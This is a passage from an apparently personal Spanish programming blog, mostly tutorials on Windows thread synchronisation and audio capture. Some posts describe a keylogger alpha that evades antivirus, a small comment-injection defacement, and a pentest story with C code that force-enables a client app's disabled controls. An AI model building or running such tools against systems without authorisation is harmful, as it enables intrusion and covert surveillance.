if ((bRet = TRY_ENTER_SECTION( &m_shBuff )) != false)
break;
Sleep( CBUFF_WAIT_VRFY_TIME );
}

return bRet;
#else
time_t tTemp = 0;
timespec tsTime;
int iRet = 0;

memset( &tsTime, 0x00, sizeof( timespec ));

tsTime.tv_sec = tTemp = ((uiTimeout > 1000) ? uiTimeout/1000 : 0);
tsTime.tv_nsec = (uiTimeout - (tTemp * 1000)) * 1000000L;

iRet = pthread_mutex_timedlock( &m_shBuff, &tsTime);

return (!iRet);
#endif
}

Que hice una cochinada en Windows....si...después la arreglo ( No en serio xD ), y como que ya eso fue todo el post :P.

Salu2.

Att: Iker

PCAP Finder

2010-02-22T01:22:00.003-05:00

Bueno como se les prometió, pues se les have; post de pcap finder.

Un buen día tenia que realizar análisis de mucho trafico de red para el work, así que como revisar 2 gb de trafico es mamón, pues uno tira a automatizar la vaina, así fue como nació PCAP Finder, que coños hace? muy fácil.

PCAP Finder lo que hace es buscar cadenas en paquetes del archivo pcap que se le señale; dando como resultado un fichero de reporte señalando el numero de paquete y el offset donde encontró el string, la dirección mac de origen y destino, dirección ip de origen y destino y puerto de origen y destino, y ya eso es todo lo que hace, el dizque presidente de CUT dice que va a sacar versión molona integrada con plagui así que estaremos atentos a chingarle la vida, cualquier cosa posteo acá la versión "usable".

Por el momento dejo la captura de la versión "privada":

PD: Cosas que faltan por hacer para los que programan ( para auto-recordarme básicamente ).
* Soporte de todo lo demás que no es TCP xD.
* Soporte de varias coincidencias en el mismo paquete.
* Editor hexadecimal en la gui para escribir el string ( que ya soporta con nulos y too el cuento ).

Salu2.

Att: Iker

hem ham

2010-02-09T13:18:00.003-05:00

Pos a las 4 am uno anda como "que coños hago" entonces recuerda el incidente del SPAM y crash and burn :P.

PD: No soy defacer y casi nunca hago esto, ademas solo fue un htlm code injection en los comentarios, pudo a ver sido peor xD.

Salu2

Att: Iker

Manejo de Concurrencia en Windows

2010-02-06T21:19:00.001-05:00

Con la llegada de los procesadores multi núcleo el mundo de la programación a dado un interesante giro para los desarrolladores, imponiendo nuevos retos y sobre todo mayores cuidados a la hora de manejar la sincronización entre hilos y procesos asíncronos, es por esta razón que escribo este artículo con el fin de dar una mirada general de los diferentes métodos de sincronización entre hilos en situaciones especificas.

Diferencias entre sistemas Multi núcleo y mono núcleo

En los sistemas mono núcleo ( P4, AMD K6/7, etc.. ) estábamos acostumbrados a manejar un programa secuencial y aunque la sensación de multitarea todo desarrollador que se precie de serlo sabía que no era así, que en realidad los programas seguían siendo secuenciales y por ende la sincronización entre diversos hilos y su acceso a memoria compartida no representaba mayor problema; ya que el acceso a la misma se realizaba también de forma secuencial.

Con la llegada de los procesadores multi núcleo la historia cambio, mejoro el performance de las aplicaciones y los sistemas operativos pero.... los programas también comenzaron a fallar. La razón es muy simple, su diseño no estaba preparado para la verdadera multitarea, la inclusión de caches de segundo nivel en los procesadores cambio el método en que se accede a la memoria y las operaciones que antes creíamos atómicas dejaron de serlo.
Para más información sobre los diferentes modelos de memoria y como son manejados por los procesadores:
http://www.intel.com/products/processor/manuals/

Sistemas de sincronización entre hilos sobre Windows

En windows podemos encontrar diferentes métodos para sincronizar hilos como lo pueden ser:

Mutex
Semáforos
Secciones Críticas
Eventos
SpinLocks( En Drivers )

La pregunta que sale de estos diversos métodos es cual nos ofrece una implementación sencilla, redituable en performance y totalmente efectiva en cuanto a exclusión mutua se refiere.
En este artículo analizaremos una de las más extendidas y redituables en cuanto a performance como lo son las Secciones Criticas y una nueva API introducida con windows vista llamada variables condicionales.

Secciones Críticas

Las secciones criticas son ampliamente conocidas por los desarrolladores de windows en lenguajes como C y C++, estas proveen el acceso exclusivo a una porción de código ubicada entre "EnterCriticalSection" y "LeaveCriticalSection", aunque también a menudo causan dolores de cabeza con los deadlocks producto tanto de olvidos en el código como de posibles fallos del mismo.
El problema que atañe a todo desarrollador es que el uso de secciones críticas puede representarle un golpe fuerte en uso del procesador si no son usadas adecuadamente; el siguiente ejemplo es un código simple de uso de secciones críticas que demuestra lo anterior:

Generador:

DWORD WINAPI Generator( LPVOID lpvParam )
{
timeval tvInit, tvEnd;
int iAt = 0;

gettimeofday( &tvInit, NULL);

for ( ; iAt < 512; ++iAt) {
EnterCriticalSection( &g_csVar );

g_iVar = rand()%1024;
g_bReady = true;

LeaveCriticalSection( &g_csVar );

// Do Stuff
Sleep( 50 );
}

gettimeofday( &tvEnd, NULL);

g_bIsStarted = false;

printf("Generator time %d\r\n", DiffTime( &tvInit, &tvEnd));

return 0;
}

Trabajador:

DWORD WINAPI Worker( LPVOID lpvParam )
{
int lMyVal = 0, iReads = 0;
timeval tvInit, tvEnd;

gettimeofday( &tvInit, NULL);

while (g_bIsStarted == true) {
EnterCriticalSection( &g_csVar );

if (g_bReady == false) {
LeaveCriticalSection( &g_csVar );
continue;
}

lMyVal = g_iVar;
g_bReady = false;

++iReads;

LeaveCriticalSection( &g_csVar );

// do stuff
Sleep( 5 );
}

gettimeofday( &tvEnd, NULL);

printf("Reads %d - Time Elapsed: %d\r\n", iReads, DiffTime( &tvInit, &tvEnd));

return 0;
}

Aclarar que las funciones gettimeofday y DiffTime son de implementación propia y no hacen parte del API de windows.
En el anterior caso el número de workers es 2; ahora si lo ejecutamos podremos ver que el consumo de CPU por parte del programa es sumamente alto ( 100% ). El tiempo "perfecto" de ejecución del proceso debería estar por el orden de los 25.6 Segundos((50 * 512)/1000), si examinamos el resultado arrojado por el programa es:

Reads 293 - Time Elapsed: 29969
Reads 219 - Time Elapsed: 29969
Generator time 29970

Por qué sucede esto?, el bloqueo que generan los Workers sobre el generador hace que este no pueda acceder a la variable para setear su valor, retrasando el proceso de escritura y por ende el que los workers dispongan de información; para validar esto vamos a añadir una variable en el worker que contabilice los fallos registrados al intentar realizar una lectura:

if (g_bReady == false) {
LeaveCriticalSection( &g_csVar );
++iFails;
continue;
}

El resultado ahora es:

Generator time 29785
Reads 187 Fails 176088581 - Time Elapsed: 29785
Reads 325 Fails 166428580 - Time Elapsed: 29785

La cantidad de ciclos desperdiciados es increíblemente alta, para abolir el consumo de CPU excesivo y el desperdiciar ciclos podemos implementar un Sleep sobre nuestros workers:

if (g_bReady == false) {
LeaveCriticalSection( &g_csVar );
++iFails;
Sleep( 10 );
continue;
}

El resultado es:

Generator time 25691
Reads 135 Fails 2488 - Time Elapsed: 25692
Reads 377 Fails 2351 - Time Elapsed: 25699

Mucho mejor, inclusive se acerca bastante al tiempo "perfecto", pero aun así no es recomendable el desperdiciar ciclos cuando podemos señalar los eventos, así que mezclaremos secciones criticas, en este caso "TryEnterCriticalSection" y eventos. Un error muy común al usar secciones criticas y eventos recae en el implementar bien sea eventos Automáticos ( No son apropiados para sincronizar más de 2 hilos ) o el usar eventos manuales pero los cuales el procedimiento de Reset se encuentra por fuera de la sección critica; la razón es muy simple ya que en realidad si se implementan el reseteo del evento fuera de la sección critica se está consiguiendo una condición de carrera al estar el evento señalado y la sección critica libre; dando así paso para que los otros hilos accedan a información que posiblemente ya fue procesada o simplemente que no halla información. El ejemplo usado en nuestro caso será una pequeña modificación del anterior:

Generador:

for ( ; iAt < 10; ++iAt) {
EnterCriticalSection( &g_csVar );

g_iVar = rand()%1024;

SetEvent( g_hEvent );

LeaveCriticalSection( &g_csVar );

// Do Stuff
Sleep( 50 );
}

gettimeofday( &tvEnd, NULL);

g_bIsStarted = false;

SetEvent( g_hEvent );

Trabajador:

while (g_bIsStarted == true) {
WaitForSingleObject( g_hEvent, INFINITE);

if (g_bIsStarted == false)
break;

if (TryEnterCriticalSection( &g_csVar ) == FALSE) {
++iFails;
continue;
}

lMyVal = g_iVar;

++iReads;

ResetEvent( g_hEvent );

LeaveCriticalSection( &g_csVar );

// do stuff
Sleep( 5 );
}

El resultado arrojado es:

Reads 218 Fails 11131317 - Time Elapsed: 34848
Generator time 34848
Reads 370 Fails 10569731 - Time Elapsed: 34848

Podemos observar que realmente los tiempos no son los mejores, los fallos al intentar entrar a la sección critica son bastante altos, el consumo de CPU es del 25% y aparte de ello se ha cometido un error que es bastante común en este tipo de implementaciones por lo que se ha dejado abierta la posibilidad de una condición de carrera(a ver si lo descubren).

Viendo todo lo anterior nos hemos podido dar cuenta que algunos de los métodos que utilizan secciones criticas no son una muy buena idea y suelen estar sujetos a fallos muy comunes que bien pueden afectar tanto el performance como el acceso exclusivo a la información.

Variables Condicionales

Con la llegada de windows vista se introdujo una nueva API de sincronización con el fin de evitar los problemas que hemos visto anteriormente, que de por si son sumamente comunes. Esta API tiene como objetivo el facilitar la implementación de métodos que aseguren el acceso exclusivo a porciones de código.
La forma de trabajar con las variables condiciones es muy parecida a los eventos, primeramente necesitamos una sección critica y una CONDITION_VARIABLE, una vez que entramos en la sección critica usamos "SleepConditionVariableCS", esta toma como parámetros la variable de variable de condición, la sección critica y el tiempo a esperar, el tomar la sección critica es debido a que primero debemos entrar en la sección critica, cuando llamemos a SleepConditioVariableCS este saldrá de la sección critica y esperara por el evento, cuando el evento sea señalado retomara la sección critica.
En cuanto al generador este debe utilizar la función WakeConditionVariable para señalar la condición, esta se limita a dejar pasar un solo hilo que se encuentre en espera, si queremos despertar todos los hilos en espera deberemos usar WakeAllConditionVariable.

En el siguiente ejemplo vamos a evaluar el rendimiento de los siguientes métodos de exclusión:

Secciones Críticas
Secciones Críticas con Sleep
Secciones criticas mediante TryEnterCriticalSection
Secciones criticas mediante TryEnterCriticalSection con Sleep
Variables condicionales

El código usado será el siguiente:

Generador:

bool WriteJob( long lJob )
{
DWORD dwWrite = 0;

EnterCriticalSection( &g_csPipe );

WriteFile( g_hPipeWrite, &lJob, sizeof( long ), &dwWrite, NULL);

LeaveCriticalSection( &g_csPipe );

return true;
}

DWORD WINAPI Generator( LPVOID lpvParam )
{
timeval tvInit, tvEnd;
long lIn = 0;
int iAt = 0;

srand( 0x0ABCDL );

gettimeofday( &tvInit, NULL);

while (g_bStarted == true && iAt < 512) {

while ((lIn = rand()) <= -1);

if (WriteJob( lIn ) == false)
continue;

Sleep( 150 );

++iAt;
}

g_bStarted = false;

gettimeofday( &tvEnd, NULL);

printf("Generators ends at %d\r\n", DiffTime( &tvInit, &tvEnd));

return 0;
}

Trabajador:

long ReadJob( void )
{
BOOL bOper = FALSE;
DWORD dwRead = 0;
long lRet = -1;

EnterCriticalSection( &g_csPipe );

if (g_bStarted == false) {
LeaveCriticalSection( &g_csPipe );
return -1;
}

bOper = PeekNamedPipe( g_hPipeRead, &lRet, sizeof( long ), &dwRead, NULL, NULL);

if (bOper == TRUE && dwRead == sizeof( long ))
ReadFile( g_hPipeRead, &lRet, sizeof( long ), &dwRead, NULL);

LeaveCriticalSection( &g_csPipe );

return lRet;
}

DWORD WINAPI Worker( LPVOID lpvParam )
{
timeval tvInit, tvEnd;
long lRes = 0;
int iReads = 0;

gettimeofday( &tvInit, NULL);

while (g_bStarted == true) {
if ((lRes = ReadJob()) <= -1) {
Sleep( 10 );
continue;
}

++iReads;

// Do something xD
Sleep( 5 );
}

gettimeofday( &tvEnd, NULL);

printf("Worker ends at %d reads:%d\r\n", DiffTime( &tvInit, &tvEnd), iReads);

return 0;
}

Con las modificaciones propias para usar los diferentes métodos como es el caso de TryEnterCriticalSection:

Trabajador ( Lector ):

long ReadJob( void )
{
BOOL bOper = FALSE;
DWORD dwRead = 0;
long lRet = -1;

if (TryEnterCriticalSection( &g_csPipe ) == FALSE)
return -1;

Generador ( Escritor ):

bool WriteJob( long lJob )
{
DWORD dwWrite = 0;

if (TryEnterCriticalSection( &g_csPipe ) == FALSE)
return false;

En el caso de las variables condicionales anularemos los sleeps y modificaremos el código de la siguiente forma:

Trabajador ( Lector ):

long ReadJob( void )
{
BOOL bOper = FALSE;
DWORD dwRead = 0;
long lRet = -1;

EnterCriticalSection( &g_csPipe );

SleepConditionVariableCS( &g_cvVar, &g_csPipe,INFINITE);

if (g_bStarted == false) {
LeaveCriticalSection( &g_csPipe );
return -1;
}

// Anulamos el peek a la pipe ya que el evento señala la
// disponibilidad de informacion.

ReadFile( g_hPipeRead, &lRet, sizeof( long ), &dwRead, NULL);

LeaveCriticalSection( &g_csPipe );

return lRet;
}

Generador ( Escritor ):

bool WriteJob( long lJob )
{
DWORD dwWrite = 0;

EnterCriticalSection( &g_csPipe );

WriteFile( g_hPipeWrite, &lJob, sizeof( long ), &dwWrite, NULL);

LeaveCriticalSection( &g_csPipe );

WakeConditionVariable( &g_cvVar );

return true;
}

Generador:

g_bStarted = false;

WakeAllConditionVariable( &g_cvVar );

gettimeofday( &tvEnd, NULL);

printf("Generators ends at %d\r\n", DiffTime( &tvInit, &tvEnd));

return 0;
}

Como podemos ver en el caso de las variables condicionales el código llega a simplificarse debido a que sabemos que nos está señalando bien o el estado de disponibilidad de información "WakeConditionVariable" para un solo hilo o el de salida "WakeAllConditionVariable" para todos los hilos.

Teniendo en cuenta que el resultado "optimo" es de 76.800 Segundos; los resultados de los procedimientos son los siguientes:

La información relativa a los workers denota "tiempo/lecturas", es interesante el que en las Variables Condicionales se presenta un balance de carga para el acceso a la información, de igual manera parece ser el método mas efectivo, simple y optimizado en cuanto a operaciones de exclusión mutua se refiere.

Conclusión

Con la llegada de esta nueva API de exclusión en windows vista podemos ahorrarnos múltiples dolores de cabeza además de mejorar el desempeño de nuestro programa, aun así en el llegado caso de que no podamos utilizarla debido a problemas de compatibilidad o soporte de otras plataformas deberíamos tener en cuenta las opciones que se nos presentan en estas pruebas como candidatas a desarrollar este trabajo de una buena forma.

Salu2.

Att: Iker

DIKE 0.8 Pre-Alpha fuckers and suckers edition

2010-01-03T18:08:00.003-05:00

Ya esta una versión alpha con todas las teclas siendo logueadas así que explico y luego todos los que no entiendan se andan a la damier.

Consumo de CPU: 0%
Consumo de Memoria: 620 K
Peso del ejecutable: 33.5Kb ( en Debug ).
Problemas con otros programas detectados: Ninguno.

Log vs Realidad:

Equipo: Laptop Asus
Configuración del teclado: "es;Spanish (Traditional Sort)"
Modo de prueba: Presionar secuencialmente las teclas.
Teclado correcto:

[Esc][F1][F2][F3][F4][F5][F6][F7][F8][F9][F10][F11][F12][Pausa][Imp Pant][Ins][Supr]
º1234567890'¡[Retroceso][Inicio]
[Tab]qwertyuiop`+[Enter][Re Pag]
[Bloq MAyus]asdfghjklñ´ç[Enter][Av Pag]
[Shift Izq]><zxcvbnm,.- [Shift Der][Fin]
[Fn][Ctrl][Windows][Alt][Propiedades][Espacio][Alt Gr][Windows][Ctrl][Flechas]

Teclado logueado:

[ESC][F1][F2][F3][F4][F5][F6][F7][F8][F9][F10][F11][F12][PAUSA][TECLA DE MULTIPLICACION][NUMERO 0][TECLA DECIMAL]
º1234567890'¡[RETROCESO][NUMERO 7]
[TABULACION]qwertyuiop[GRAVE]`+[ENTRAR][NUMERO 9]
[BLOQ MAYUS]ASDFGHJKLÑ[AGUDO]´Ç[ENTRAR][NUMERO 3]
[MAYUSCULAS]>ZXCVBNM,.-[MAYUSCULAS DERECHA][NUMERO 1]
[CTRL][CTRL][ALT] [CTRL][NUMERO 8][NUMERO 4][NUMERO 2][NUMERO 6]

Problemas detectados ( Características sorpresa que les llamo yo ):
* Las tildes no funcan ( igual a mi me corrige la horrografia Opera ).

Resultado de Virus Total:

Antivirus Version Last Update Result
a-squared 4.5.0.46 2010.01.03 -
AhnLab-V3 5.0.0.2 2010.01.02 -
AntiVir 7.9.1.122 2009.12.31 -
Antiy-AVL 2.0.3.7 2009.12.31 -
Authentium 5.2.0.5 2010.01.03 -
Avast 4.8.1351.0 2010.01.03 -
AVG 8.5.0.430 2010.01.03 -
BitDefender 7.2 2010.01.03 -
CAT-QuickHeal 10.00 2010.01.02 -
ClamAV 0.94.1 2010.01.03 -
Comodo 3457 2010.01.03 -
DrWeb 5.0.1.12222 2010.01.03 -
eSafe 7.0.17.0 2010.01.03 -
eTrust-Vet 35.1.7210 2010.01.01 -
F-Prot 4.5.1.85 2010.01.03 -
F-Secure 9.0.15370.0 2010.01.03 -
Fortinet 4.0.14.0 2010.01.02 -
GData 19 2010.01.03 -
Ikarus T3.1.1.79.0 2009.12.31 -
Jiangmin 13.0.900 2010.01.03 -
K7AntiVirus 7.10.936 2010.01.02 -
Kaspersky 7.0.0.125 2010.01.03 -
McAfee 5850 2010.01.03 -
McAfee+Artemis 5850 2010.01.03 -
McAfee-GW-Edition 6.8.5 2010.01.03 Heuristic.BehavesLike.Win32.Backdoor.L
Microsoft 1.5302 2010.01.03 -
NOD32 4740 2010.01.03 -
Norman 6.04.03 2009.12.31 -
nProtect 2009.1.8.0 2010.01.03 -
Panda 10.0.2.2 2010.01.03 -
PCTools 7.0.3.5 2010.01.03 -
Prevx 3.0 2010.01.03 -
Rising 22.28.03.04 2009.12.31 -
Sophos 4.49.0 2010.01.03 -
Sunbelt 3.2.1858.2 2010.01.03 -
TheHacker 6.5.0.3.130 2010.01.03 -
TrendMicro 9.120.0.1004 2010.01.03 -
VBA32 3.12.12.1 2010.01.01 -
ViRobot 2009.12.31.2118 2009.12.31 -
VirusBuster 5.0.21.0 2010.01.03 -

Jodeputa McAfee-GW-Edition.

Att: Iker

Servidor SVN

2009-12-28T18:13:00.001-05:00

Pos hace ya rato tengo un server SVN, antes lo tenia localmente en Drox ( Lap Toshiba ), y ahora lo pase a la Asus, configure el modem para soportar PPPoE Pass Through y así tener IP publica y poder tanto ofrecer servicios como bajar ~~porno~~ programas e imágenes a toda trola desde torrentz.

La dinámica de montar un servidor svn se vuelve bastante fácil si usamos Visual SVN Server y Tortoise SVN, así que no les voy a hacer un manual no mamen.

lo que si no sabia ( que imbécil, asteriscadme ) es que Tortoise soportaba HTTPS, yo solo conocía svn + ssl :P, ya de resto la joda mola mucho cuando ya llevas un proyecto avanzado y te fijas en cuanta sangre has dejado en el ( mis teclas cortan ) así como las estupideces que haces casi a diario xD.

Ya por otra parte el Visual SVN mola y bastante, aunque no te deja de preocupar el tener un servidor web así como así en tu lap :/ y es por esto que e decidido ver como juackearme el visual svn para clavarle una capa de abstracción y cifrar el código localmente, lo cual sera bastante ineficiente pero probablemente nos protegerá ante posibles problemas futuros; que no quiero ni pensar que pasaría si de un día para otro mi código apareciera en "la Internet" ( quería decirlo xD ) diciendo que es GNU ( Ganas de No Usar la cabeza ).

PD: Hoy me levante cabreado
PD2: Si, cogí el blog de mi diario y que?.
PD3: Si nos fijamos Facebook, Twitter y en general los blogs son diarios pero menos maricones ( algunos no :S ).
PD4: Esto no es word que Ctrl + B le da Bold al asunto xD.

Recomendación de la Semana: Outtathaway - The vines ( El vídeo mola )
http://www.youtube.com/watch?v=XSqDxGe-_9o

Joder que se me olvida la tira:

Att: Iker

Captura de Audio

2009-12-28T18:12:00.001-05:00

Bueno comencemos con algo básico, como capturar audio usando opiamente win api; no daré introducciones, no daré nada así que el que no tenga conocimientos básicos o tenga dudas, pues al puto google joder.
Aclarar el que es usando mi clase de captura de audio entonces pos serán "apartes del code".

Primero que todo tenemos que obtener un device para abrirlo y opiamente poder capturar audio; para esto primero debemos seleccionar un formato de captura de audio, en este caso el mas basico PCM.

WAVEFORMATEX wfeFormat;
CAudioIn *pcaiIn = new CAudioIn;

memset( &wfeFormat, 0x00, sizeof( WAVEFORMATEX ));

wfeFormat.wFormatTag = WAVE_FORMAT_PCM;
wfeFormat.nAvgBytesPerSec = 11025;
wfeFormat.nSamplesPerSec = 11025;
wfeFormat.wBitsPerSample = 8;
wfeFormat.nBlockAlign = 1;
wfeFormat.nChannels = 1;

pcaiIn->SetWaveFormat( &pFormat );

Mientras tanto en las entrañas de la clase...

bool CAudioIn::SetWaveFormat( const WAVEFORMATEX *pwfeFormat )
{
if (!pwfeFormat || m_hIn)
return false;

memset( &m_wfeFormat, 0x00, sizeof( WAVEFORMATEX ));
memcpy( &m_wfeFormat, pwfeFormat, sizeof( WAVEFORMATEX ));

m_uiBlockSize = ((m_wfeFormat.nChannels * (m_wfeFormat.wBitsPerSample/8)) * m_wfeFormat.nSamplesPerSec) / 1;
m_pszUserBuff = new char[m_uiBlockSize];

if (!m_pszUserBuff) {
memset( &m_wfeFormat, 0x00, sizeof( WAVEFORMATEX ));
return false;
}

return (m_bFormat = true);
}

Reservamos un buffer interno para ser pasado al usuario con la información de la captura, esto es debido a que no queremos meternos con la info capturada directamente; esto después de calcular el tamaño del buffer en base al formato especificado. Ahora seguramente se preguntaran que es ese ") / 1;" que se ve al calcular el tamaño del buffer necesario; nosotros bien podemos especificarle al device cuantos bytes queremos capturar, de acuerdo a esto si hacemos " / 2" estaremos especificando medio buffer por ende medio segundo de captura.

Seguidamente obtenemos el device...

printf("That the games begins %d\n", pcaiIn->Start());

Clase..

bool CAudioIn::Start( void )
{
if (!m_bFormat || m_hIn)
return false;

if (waveInOpen( &m_hIn, WAVE_MAPPER,
&m_wfeFormat, (DWORD_PTR)WaveInCallBack,
(DWORD_PTR)this, CALLBACK_FUNCTION) != MMSYSERR_NOERROR) {
m_hIn = NULL;
return false;
}

if (!InitializeWaveBuffers()) {
waveInClose( m_hIn );
m_hIn = NULL;
return false;
}

m_bRecording = true;

if (waveInStart( m_hIn ) != MMSYSERR_NOERROR) {
waveInClose( m_hIn );
m_hIn = NULL;
return (m_bRecording = false);
}

return true;
}

Y bien acá comprobamos que tengamos un formato seteado, que el descriptor del device no este ya abierto ( m_hIn = HWAVEIN ); posteriormente inicializamos los buffers de captura, que que es eso, pues que no tengamos saltos al capturar el audio, ya que cuando se nos pasa el buffer, nosotros debemos añadir otro( o antes de ) para que siga capturando, entonces si procesamos un buffer a la vez y nos demoramos haciendo algo ya vamos a tener saltos en la captura. Luego de eso si le echamos a capturar con waveInStart.

Listo supuestamente ya estamos capturando, hemos obtenido el device, y le hemos seteado la flag de que vamos a usar una callback para recibir la informacion; asi que sigamos. Vamos a que ocurre en la callback.

void CALLBACK WaveInCallBack( HWAVEIN hIn, UINT uiMsg, DWORD_PTR dwInstance, DWORD_PTR dwParam1, DWORD_PTR dwParam2)
{
CAudioIn *pClass = (CAudioIn *)dwInstance;
WAVEHDR whHdr;

if ( pClass->m_bRecording && uiMsg == WIM_DATA) {
waveInUnprepareHeader( hIn, (WAVEHDR *)dwParam1, sizeof( WAVEHDR ));

memcpy( &whHdr, (void *)dwParam1, sizeof( WAVEHDR ));

memcpy( pClass->m_pszUserBuff, whHdr.lpData, whHdr.dwBytesRecorded);

whHdr.lpData = pClass->m_pszUserBuff;

pClass->AddBuffer( (WAVEHDR *)dwParam1 );

pClass->CallCllBck( &whHdr );
}
}

Como vemos recibimos el buffer en el parámetro 1 de la callback, luego copiamos la estructura a una "propia" seguidamente la información y sin comprobar tamaño osease vulnerable a buffer overflow ( :O ); cabe recordar, bueno mas bien anotar que bien se puede setear para recibir esto mediante mensajes de ventana con lo cual cualquier app nos puede enviar esto, causarnos un overflow y bla bla bla bla te juackee. Bueno prosigamos, luego de eso añadimos el buffer ( no, no volvemos a reservar memoria, reañadimos el actual, ya que hay otros 7 en orden esperando ), y posteriormente llamamos a la callback de usuario ( especifica de la clase ) para que el haga lo que le salga de los huevos con la info.

Ya con todo esto no nos queda si no cerrar el device, y es que aca es donde muchos quedan algo perdidos, por que si ni un MVP de microsoft sabe ( Es en serio ); ya que la mayoria de veces se queda capturando audio el muy mamon. Ahora veamos:

void CAudioIn::Stop( void )
{
m_bRecording = false;

waveInStop( m_hIn );

waveInReset( m_hIn );

Sleep( 500 );

waveInClose( m_hIn );

if ( m_pszUserBuff ) {
delete[] m_pszUserBuff;
m_pszUserBuff = NULL;
}

FreeWaveBuffers();
}

Seteamos la flag de "grabando" a falso para que no se llamen mas callbacks de usuario y los buffers sean obviados; acto seguido detenemos la captura, para después llamar a waveInReset, que marcara los buffers pendientes como "procesados" , dormimos 500 ms por que en esta operación se puede tirar un rato y luego si cerramos el device; si no llamamos a waveInReset cuando llamemos a waveInClose fallara con error de que se encuentra aun ocupado. Ya después de esto si podemos eliminar el buffer de usuario y los buffers de captura.

Hasta acá el post así que ciao.

Att: Iker

Un juack

2009-12-28T18:10:00.002-05:00

Despues de una conversacion en MSN con el flaco:

Bueno pos Iker me contó un juak muy bkno y voy a intentar escribirlo aquí:

Había una vez un server firewalliado hasta el putas donde todo estaba bien hecho, antes de atacar el server lo que dijeron fue "si no encuentra nada malo, fresh, este server es muy seguro y bla bla bla", efectivamente así fue, contraseñas fuertes, de todo.

El funcionamiento normal era mediante una petición xml/soap en un web service se descargaba una pequeña app en c#que permitía el manejo de la base de datos en ese server, las credenciales usaban sha1, rsa bien hecho, ksi no habia por donde. Esta aplicación la dio el cliente para no tener q hacer tantas maromas, q aunq son sencillas de hacer, quitan tiempo y dan una mamera.

Pos sin nada mas q hacer, 7 am con frió y todo un día probando eso (q ya estaba probado y no había nada) en medio del desparche y con un compilador hizo un switch de consultor a hacker.

* asi que active los controles xD
* no sin antes meterle a todos los campos edit comillas como no pude mas ( por entrada de usuario no se puede, pero programacionalmente si xD ))
* y comenzo esa mierda a caerse xD
* y a clavarle inyecciones SQL a la base de datos remota xD

Pero el cuento no terminó ahí:

#include
#include
#include

#define MAX_CLASS 256
#define MAX_TEXT 9048
#define CLASS_STR "WindowsForms10.BUTTON.app.0.33c0d9d"
#define PROGRAM_STR "XXXXXXXXXXXXXXXXXXX"

BOOL CALLBACK EnumChildProc( HWND hWnd, LPARAM lParam)
{
char szClass[MAX_CLASS + 1];
char szText[MAX_TEXT + 1];
int iAux, iLen;

if (hWnd == NULL)
return FALSE;

memset( szText, 0x00, MAX_TEXT + 1);
memset( szClass, 0x00, MAX_CLASS + 1);

iLen = GetWindowText( hWnd, szText, MAX_TEXT);
iAux = GetClassName( hWnd, szClass, MAX_CLASS);

if (iAux <= 0 && iLen <= 0) {
printf("Unkownn Control Window Identifier[%X]\r\n", hWnd);
return TRUE;
}

printf("\tControl Class[%s], Text[%s]\r\n", szClass, szText);

if (iAux > 0 && (stricmp( szClass, CLASS_STR) == 0)) {
EnableWindow( hWnd, TRUE);
}

EnumChildWindows( hWnd, EnumChildProc, NULL);

return TRUE;
}

BOOL CALLBACK EnumMainProc( HWND hWnd, LPARAM lParam)
{
char szText[MAX_TEXT + 1];
int iLen = 0;

if (hWnd == NULL)
return FALSE;

memset( szText, 0x00, MAX_TEXT + 1);

iLen = GetWindowText( hWnd, szText, MAX_TEXT);

if (iLen <= 0)
return TRUE;

if (stricmp( szText, PROGRAM_STR) != 0)
return TRUE;

EnumChildWindows( hWnd, EnumChildProc, NULL);

return TRUE;
}

int main( void )
{
EnumWindows( EnumMainProc, NULL);

return 0;
}

Y lo hermoso: EnableWindow( hWnd, TRUE); (como analogía, funca muy parecido al control.enable de .Net, pero EnableWindow es el papá de los enable xD)

Conclusión: Acceso total a toda la aplicación, a todos sus controles con todos sus permisos, de ninguna opción a todas las opciones, hasta las ocultas, y voilá, acceso total al sistema :)

Escrito en: http://foro.colombiaunderground.org/index.php/topic,5124.msg31054/topicseen.html#msg31054

Pos así sucedió la joda es que no lo cuento yo por que no quiero que se me valla un detalle del cliente o algo que pueda dar idea de quien es la joda :P. Salu2.

Corrección: No llevaba un día, comencé pruebas a las 7 am ( llegue tarde, era a las 6 am xD ) y termine a las 8:30 am y me jui a mi casa a dormir.

Att: Iker

Consultoria

2009-12-28T18:10:00.001-05:00

Básicamente este "articulo" si es que así se le puede llamar, trata sobre lo que es la consultoria en seguridad informática y sobretodo el por que la deje.

Actual Modelo de Consultoria en Seguridad Informática:

El actual modelo de la consultoria en mi modo de ver pretende basarse en el principio de que existen diversos riesgos que pueden ponen en peligro la información del usuario y de la compañía en general, lo que se traduce en perdidas económicas bien sea por robo de información o por perdida de la misma, de igual forma que lo puede constituir una parada del servicio.

Que es lo que esta mal en esto?

Digamos que el concepto como tal no me molesta si no el como aplicar soluciones a este, basado en procedimiento generales que no son ni serán nunca personalizados para las diferentes compañías, en pocas palabras "SIEMPRE HACEN LO MISMO", esto reditúa en que problemas de la compañía que son y sera específicos para ella no son solucionados.
A que voy con todo esto?, pues que cada red es diferente, ninguna es igual a la otra y por ende todas tienen problemas diferentes, aunque tengan la misma infraestructura sus usuarios y administradores no piensan igual y mucho menos hacen lo mismo; así todas cumplan con los estándares en seguridad y diferentes procedimientos nunca van a ser iguales dos redes.

Es por todo lo anterior que la consultoria en caso de que quiera seguir vigente tiene que despertar de su letardo, ofrecer nuevos servicios basados en las necesidades de la compañía y sobre todo en las necesidades de la red, no basta con definir un juego de pruebas a realizar y ya, si no realizar un análisis de la red y sus puntos debiles y sobre todo hablar con sus usuarios y administradores para saber exactamente que es lo que quieren y que es lo que necesitan; haciendo esto los problemas de la red en cuestiones técnicas serán fácilmente "diagnosticables" así como los problemas de desempeño y sobre todo "funcionalidad".

Creo que es claro mi pensamiento y que como se esta viendo hoy en día, las empresas de consultoria en seguridad no van a ningún lado por el miedo a innovar y sobre todo la falta de personal capacitado para ejercer estas labores.

E dicho y a la chingada al que no le mole.

"La innovación distingue al líder del seguidor" - Steve Jobs

Att: Iker

El pinche de Az

2009-12-28T18:09:00.000-05:00

Pos eso, link al emoblog de Az xD.

http://www.codelogman.net/

ciao.

Att: Iker

Optimizacion vs Claridad del Codigo

2009-12-28T18:08:00.002-05:00

y Bien, cof cof ( tos intelectual ( risas de fondo ) ) este post se trata de como cambiaron algunas cosas en mi forma de programar :P.

Antes que todo, una corta introducción:

Dicese que hace unos años yo era un programador junior noob aficionado, osease lo que programaba era para mi y por mi, y pues no hay jodas con eso, como bien dicen "uno entiende su código y conoce sus mañas", pero de repente un día caperucita roja llamo a mi puerta, me dio una manzana y entre en la matrix, asi que tuve que ~~putearme~~ programar con mas personas o hacer mi código mas "corporativo" a fin de que fuera posible que otros ~~noobs~~ programadores lo pudieran modificar... Fin de la historia( A que mola caperucita ).

